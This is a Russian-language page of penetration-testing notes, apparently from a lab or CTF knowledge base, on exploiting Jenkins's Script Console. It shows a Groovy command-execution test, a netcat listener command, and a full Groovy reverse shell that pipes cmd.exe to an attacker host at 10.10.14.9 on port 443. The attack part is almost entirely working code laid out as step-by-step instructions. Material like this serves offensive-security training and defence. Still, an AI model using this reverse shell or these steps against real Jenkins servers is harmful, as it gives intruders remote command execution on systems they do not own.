> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/jenkins-cms-exploitation.md).

# Jenkins

Заметки по эксплуатации Jenkins для доступа к Script Console, выполнения команд Groovy, полезных нагрузок обратного шелла Windows, настройки прослушивателя Netcat и удалённого выполнения кода.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2103c649ca74f2fe5813f708e075639cfa049065%2Fimage%20(909).png?alt=media" alt=""><figcaption></figcaption></figure>

**Jenkins — выполнение Groovy-скриптов**

Jenkins доступен, и **Script Console** включен, что позволяет выполнять Groovy-скрипты.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f187af1b4038cfd6b01196dd8f954ecf30a5bccb%2Fimage%20(910).png?alt=media" alt=""><figcaption></figcaption></figure>

Пример команды для проверки выполнения:

```groovy
println "ipconfig".execute().text
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b97a01ef667fa6cee288fde65cc148d53f7ae76e%2Fimage%20(911).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Эксплуатация**

#### **Обратная оболочка через консоль Groovy**

Чтобы получить удаленный доступ, используйте следующий порядок действий:

1. **Запустите слушатель на порту 443:**

```bash
rlwrap nc -nvlp 443
```

2. **Запустите следующий скрипт в консоли Groovy** чтобы установить обратную оболочку:

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90ecbf162ade24c21401b869519e5ec86935b76c%2Fimage%20(912).png?alt=media" alt=""><figcaption></figcaption></figure>


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